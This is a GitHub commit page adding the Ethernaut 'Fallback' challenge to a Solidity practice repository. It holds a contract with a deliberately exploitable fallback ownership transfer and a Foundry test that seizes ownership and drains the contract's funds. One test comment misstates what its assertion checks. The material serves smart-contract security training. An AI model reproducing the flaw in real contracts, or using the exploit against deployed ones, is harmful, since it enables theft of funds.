Skip to content

Commit

Permalink
feat(contracts): add challenge & test contracts for 01-fallback
Browse files Browse the repository at this point in the history
  • Loading branch information
owieth committed Jun 26, 2023
1 parent 5b26cdb commit e6d434d
Show file tree
Hide file tree
Showing 6 changed files with 113 additions and 215 deletions.
22 changes: 0 additions & 22 deletions scripts/Token.s.sol

This file was deleted.

38 changes: 0 additions & 38 deletions scripts/helpers/HelperConfig.s.sol

This file was deleted.

67 changes: 67 additions & 0 deletions src/01-Fallback/Fallback.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/// @title Ethernaut Challenge 01
/// @author https://ethernaut.openzeppelin.com/level/0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB
contract Fallback {
/*//////////////////////////////////////////////////////////////
STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) private s_contributions;
address payable private s_owner;

/*//////////////////////////////////////////////////////////////
MODIFIERS
//////////////////////////////////////////////////////////////*/

modifier onlyOwner() {
require(msg.sender == s_owner, "caller is not the owner");
_;
}

/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/

constructor() {
s_owner = payable(msg.sender); // Type issues must be payable address
s_contributions[msg.sender] = 1000 * (1 ether);
}

/*//////////////////////////////////////////////////////////////
EXTERNAL
//////////////////////////////////////////////////////////////*/

fallback() external payable {
// naming has switched to fallback
require(
msg.value > 0 && s_contributions[msg.sender] > 0,
"tx must have value and msg.send must have made a contribution"
); // Add message with require
s_owner = payable(msg.sender); // Type issues must be payable address
}

/*//////////////////////////////////////////////////////////////
PUBLIC
//////////////////////////////////////////////////////////////*/

function contribute() public payable {
require(msg.value < 0.001 ether, "msg.value must be < 0.001"); // Add message with require
s_contributions[msg.sender] += msg.value;
if (s_contributions[msg.sender] > s_contributions[s_owner]) {
s_owner = payable(msg.sender); // Type issues must be payable address
}
}

function getContribution(address contributor) public view returns (uint256) {
return s_contributions[contributor];
}

function getOwner() public view returns (address) {
return s_owner;
}

function withdraw() public onlyOwner {
s_owner.transfer(address(this).balance);
}
}
128 changes: 0 additions & 128 deletions src/Token.sol

This file was deleted.

46 changes: 46 additions & 0 deletions tests/01-Fallback/Fallback.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Test} from "@std/Test.sol";
import {Vm} from "@std/Vm.sol";
import {Fallback} from "../../src/01-Fallback/Fallback.sol";

/// @title Ethernaut Challenge 01 Test
/// @author https://ethernaut.openzeppelin.com/level/0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB
contract FallbackTest is Test {
address private immutable owner = address(0x94B2ceA71F9bA7A6e55c40bE320033D1151145B6);

function testFallbackHack() public {
/////////////////
// LEVEL SETUP //
/////////////////
vm.prank(address(0));
Fallback ethernautFallback = new Fallback();

//////////////////
// LEVEL ATTACK //
//////////////////

startHoax(owner, 100 ether);

// Contribute 1 wei - verify contract state has been updated
ethernautFallback.contribute{value: 1 wei}();
assertEq(ethernautFallback.getContribution(owner), 1 wei);

// Call the contract with some value to hit the fallback function
// .transfer doesn't send with enough gas to change the owner state
payable(address(ethernautFallback)).call{value: 1 wei}("");
// Verify contract owner has been updated to 0 address
assertEq(ethernautFallback.getOwner(), owner);

// Withdraw from contract - Check contract balance before and after
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);
ethernautFallback.withdraw();
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);

//////////////////////
// LEVEL SUBMISSION //
//////////////////////
vm.stopPrank();
}
}
27 changes: 0 additions & 27 deletions tests/Token.t.sol

This file was deleted.

0 comments on commit e6d434d

Please sign in to comment.